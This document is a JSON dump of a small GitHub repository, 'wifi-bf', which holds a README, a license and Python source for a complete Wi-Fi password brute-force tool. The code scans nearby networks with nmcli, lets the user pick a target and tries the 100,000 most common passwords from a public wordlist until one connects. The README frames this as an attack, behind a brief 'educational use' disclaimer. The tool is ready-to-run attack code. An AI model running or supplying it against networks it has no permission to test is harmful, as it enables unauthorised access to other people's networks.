[
  {
    "path": ".gitignore",
    "content": "*.txt\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2021 Finn Lancaster\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# wifi-bf\n> \\[LINUX ONLY\\] A (completely native) python3 wifi brute-force attack using the 100k most common passwords (2021)\n\n<br />\n\n_This script is purely for educational use. Any consequenses or damages arising from the usage of it in an illegal or unethical way are purely the fault of the end-user, and in no way is the developer responsible for it._\n\n<br />\n\n### Usage\n#### Starting\nVia python (direct)\n```bash\n$ cd path/to/wifi-bg/src\n$ python3 __main__.py\n```\n\n#### Commands\nwifi-bf has som optional flags/commands that change change its default behaviours. Below is the list given by ``__main__.py --help``:\n```\noptional arguments:\n  -h, --help            show this help message and exit\n  -u URL, --url URL     The url that contains the list of passwords\n  -f FILE, --file FILE  The file that contains the list of passwords\n  -v, --verbose         Optional: Use to show all passwords attempted, rather than just the successful one.\n```\n\n#### Attacking/Screenshots\nAfter starting the program, a menu will appear containing all available nearby networks.\n![Start Menu](https://i.imgur.com/RWAIroT.png)\n\nFrom there, just enter the number network to attack, and a menu like below will appear. \n![Running Output](https://i.imgur.com/wNEu8Ya.png)\n\nThe colors output by the program mean the following:\n**Color Code Information**\n- ![#f03c15](https://via.placeholder.com/15/f03c15/000000?text=+) `Password Failed, Unhandled Error`\n- ![#00af87](https://via.placeholder.com/15/00af87/000000?text=+) `Password Cracked`\n- ![#5f00ff](https://via.placeholder.com/15/5f00ff/000000?text=+) `Testing (password)`\n\n#### Credits\nWordlist: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt\n\n<br />\n\n### License\n```\nCopyright 2021 Finn Lancaster\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this\nsoftware and associated documentation files (the \"Software\"), to deal in the Software \nwithout restriction, including without limitation the rights to use, copy, modify, merge,\npublish, distribute, sublicense, and/or sell copies of the Software, and to permit persons\nto whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or\nsubstantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING\nBUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\nDAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n```\n"
  },
  {
    "path": "src/.gitignore",
    "content": "__pycache__*"
  },
  {
    "path": "src/__main__.py",
    "content": "import argparse\nimport subprocess\nimport os\nfrom ssid import start\nimport urllib.request\nimport sys\nimport time\n\n# service NetworkManager restart\n\ndef cls():\n    os.system('cls' if os.name == 'nt' else 'clear')\n    \ndef header():\n    print('''\n==============================================================\n\t██╗    ██╗██╗███████╗██╗      ██████╗ ███████╗\n\t██║    ██║██║██╔════╝██║      ██╔══██╗██╔════╝\n\t██║ █╗ ██║██║█████╗  ██║█████╗██████╔╝█████╗  \n\t██║███╗██║██║██╔══╝  ██║╚════╝██╔══██╗██╔══╝  \n\t╚███╔███╔╝██║██║     ██║      ██████╔╝██║     \n\t ╚══╝╚══╝ ╚═╝╚═╝     ╚═╝      ╚═════╝ ╚═╝     \n                                     \n                 https://github.com/flancast90\n                         By: BLUND3R                 \n==============================================================\n    \n    ''')\n\nclass bcolors:\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OKCYAN = '\\033[96m'\n    OKGREEN = '\\033[92m'\n    WARNING = '\\033[93m'\n    FAIL = '\\033[91m'\n    ENDC = '\\033[0m'\n    BOLD = '\\033[1m'\n    UNDERLINE = '\\033[4m'\n    VERBOSEGRAY = '\\033[170m'\n\n\n\"\"\"\n    This function cutlize the argparse which gives a description of the program and\n    the list of arguments supported\n\"\"\"\n\n\ndef argument_parser():\n    parser = argparse.ArgumentParser(\n        prog=\"wifi-bf\",\n        description=\"Brute force wifi password with python 3\"\n    )\n\n    parser.add_argument(\n        '-u', '--url',\n        type=str,\n        default=None,\n        help='The url that contains the list of passwords'\n    )\n    parser.add_argument(\n        '-f', '--file',\n        type=str,\n        default=None,\n        help='The file that contains the list of passwords'\n    )\n    \n    parser.add_argument(\n    \t'-v', '--verbose',\n    \taction='store_true',\n    \thelp='Optional: Use to show all passwords attempted, rather than just the successful one.'\n    )\n\n    return parser.parse_args()\n\n\n\"\"\"\n\tThis functions returns a list of passwords from a url\n\"\"\"\n\n\ndef fetch_password_from_url(url):\n    try:\n        return urllib.request.urlopen(url)\n    except:\n        return None\n\n\n\"\"\"\n\tThis functions saves a list of passwords to a file\n\"\"\"\n\n\ndef save_passwords_locally(passwords):\n    with open('passwords.txt', 'w') as file:\n            for password in passwords:\n                decoded_line = password.decode(\"utf-8\")\n                file.write(decoded_line)\n\n\n\"\"\"\n\tThis functions checks if a local password file is found\n\"\"\"\n\n\ndef local_passwords_file_exists():\n    return os.path.exists('passwords.txt')\n\n\n\"\"\"\n\tThis functions returns a local previously downloaded local passwords file\n\"\"\"\n\n\ndef get_local_passwords():\n    with open('passwords.txt', 'r') as file:        \n        return file.readlines()\n\n\n\"\"\"\n\tThis functions checks whether the user is running the program as root. If the user is not a root,\n\tan error message is displayed and the program exit\n\"\"\"\n\n\ndef require_root():\n    r = os.popen(\"whoami\").read()\n    if (r.strip() != \"root\"):\n        print(\"Run it as root.\")\n        sys.exit(-1)\n\n\n\"\"\"\n\tThis functions shows the user the list of targets\n\"\"\"\n\n\ndef display_targets(networks, security_type):\n    print(\"Select a target: \\n\")\n    \n    rows, columns = os.popen('stty size', 'r').read().split()\n    for i in range(len(networks)):\n        width = len(str(str(i+1)+\". \"+networks[i]+security_type[i]))+2\n        spacer = \" \"\n\n        if (int(columns) >= 100):\n            calc = int((int(columns)-int(width))*0.75)\n        else:\n            calc = int(columns)-int(width)\n            \n        for index in range(calc):\n            spacer += \".\"\n            if index == (calc-1):\n                spacer += \" \"\n                \n        print(str(i+1)+\". \"+networks[i]+spacer+security_type[i])\n        \n\"\"\"\n\tThis functions prompt the user to enter the target choice and returns the choice.\n\tThe function runs in a loop until the user enter the correct target\n\"\"\"\n\n\ndef prompt_for_target_choice(max):\n    while True:\n        try:\n            selected = int(input(\"\\nEnter number of target: \"))\n            if(selected >= 1 and selected <= max):\n                return selected - 1\n        except Exception as e:\n            ignore = e\n\n        print(\"Invalid choice: Please pick a number between 1 and \" + str(max))\n\n\n\"\"\"\n\tThis function takes the targeted network and list of password and attempt to brute force it.\n\"\"\"\n\n\ndef brute_force(selected_network, passwords, args):\n    for password in passwords:\n        # necessary due to NetworkManager restart after unsuccessful attempt at login\n        password = password.strip()\n\n        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file\n        if isinstance(password, str):\n            decoded_line = password\n        else:\n            decoded_line = password.decode(\"utf-8\")\n            \n        if args.verbose is True:\n            print(bcolors.HEADER+\"** TESTING **: with password '\" +\n                decoded_line+\"'\"+bcolors.ENDC)\n\n        if (len(decoded_line) >= 8):\n            contain = False\n            \n            while contain == False:\n                available = os.popen(\"nmcli -f SSID dev wifi\").read()\n                available = available.split('\\n')\n                available = [item.strip() for item in available]\n            \n                if selected_network in available:\n                    contain = True\n                else:\n                    time.sleep(1)\n            \n            commands = [\n                \"sudo\",\n                \"nmcli\",\n                \"dev\",\n                \"wifi\",\n                \"connect\",\n                selected_network,\n                \"password\",\n                decoded_line,\n            ]\n            \n            try:\n                output = subprocess.run(commands, capture_output=True, text=True, \n                    check=True)\n                if \"error\" in output.stdout.lower():\n                    if args.verbose is True:\n                        print(bcolors.FAIL+\"** TESTING **: password '\" +\n                            decoded_line+\"' failed.\"+bcolors.ENDC)\n                        print(f\"{bcolors.VERBOSEGRAY}{output.stdout}{bcolors.ENDC}\")\n                elif \"successfull\" in output.stdout.lower():\n                    sys.exit(bcolors.OKGREEN+\"** KEY FOUND! **: password '\" +\n                        decoded_line+\"' succeeded.\"+bcolors.ENDC)\n                else:\n                    print(f\"Unknown output: {output.stdout}\")\n            except subprocess.CalledProcessError:\n                if args.verbose is True:\n                    print(bcolors.FAIL+\"** TESTING **: password '\" +\n                        decoded_line+\"' failed.\"+bcolors.ENDC)\n\n        else:\n            if args.verbose is True:\n                print(bcolors.OKCYAN+\"** TESTING **: password '\" +\n                    decoded_line+\"' too short, passing.\"+bcolors.ENDC)\n\n    print(bcolors.FAIL+\"** RESULTS **: All passwords failed :(\"+bcolors.ENDC)\n\n\n\"\"\"\n\tThe main function\n\"\"\"\n\n\ndef main():\n    cls()\n    header()\n    require_root()\n    args = argument_parser()\n\n    # The user chose to supplied their own url\n    if args.url is not None:\n        passwords = fetch_password_from_url(args.url)\n    # user elect to read passwords form a file\n    elif args.file is not None:\n        file = open(args.file, \"r\")\n        passwords = file.readlines()\n        if not passwords:\n            print(\"Password file cannot be empty!\")\n            exit(0)\n        file.close()\n    else:\n        # fallback to the default list as the user didn't supply a password list\n        default_url = \"https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt\"\n        passwords = fetch_password_from_url(default_url)\n        if passwords:\n            save_passwords_locally(passwords=passwords)\n            passwords = get_local_passwords()\n        elif local_passwords_file_exists():\n            passwords = get_local_passwords()\n        else:\n            sys.exit(bcolors.FAIL+\"Fetch failed. Check internet status.\"+bcolors.ENDC)\n        \n\n    # grabbing the list of the network ssids\n    func_call = start(1)\n    networks = func_call[0]\n    security_type = func_call[1]\n    \n    if not networks:\n        print(\"No networks found!\")\n        sys.exit(-1)\n\n    display_targets(networks, security_type)\n    max = len(networks)\n    pick = prompt_for_target_choice(max)\n    target = networks[pick]\n    \n    cls()\n    header()\n    \n    print(\"\\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.\")\n\n    brute_force(target, passwords, args)\n\n\nmain()\n"
  },
  {
    "path": "src/ssid.py",
    "content": "import subprocess\n\ndef start(code):\n\tr = subprocess.run([\"nmcli\", \"-f\", \"SSID\", \"dev\", \"wifi\"], capture_output=True, text=True).stdout\n\tgrep = r.split(\"\\n\")\n\t\n\ts = subprocess.run([\"nmcli\", \"-f\", \"SECURITY\", \"dev\", \"wifi\"], capture_output=True, text=True).stdout\n\tgrep_s = s.split(\"\\n\")\n\n\tnetworks = [k.strip() for k in grep if (k.strip() != \"SSID\") and (k.strip() != \"--\") and (k.strip() != \"\")]\n\tnet_type = [k.strip() for k in grep_s if (k.strip() != \"SECURITY\") and (k.strip() != \"\")]\n\t\n\n\tssid = []\n\tsecurity = []\n\n\tfor i in range(len(networks)):\n\t\tif networks[i] not in ssid:\n\t\t\tssid.append(networks[i])\n\t\t\tsecurity.append(net_type[i])\n\t\n\tif (code == 0):\n\t\tprint(ssid)\n\t\tprint(security)\n\telse:\n\t\treturn [ssid, security]\n\t\t\nif __name__ == \"__main__\":\n\tstart(0)\n"
  }
]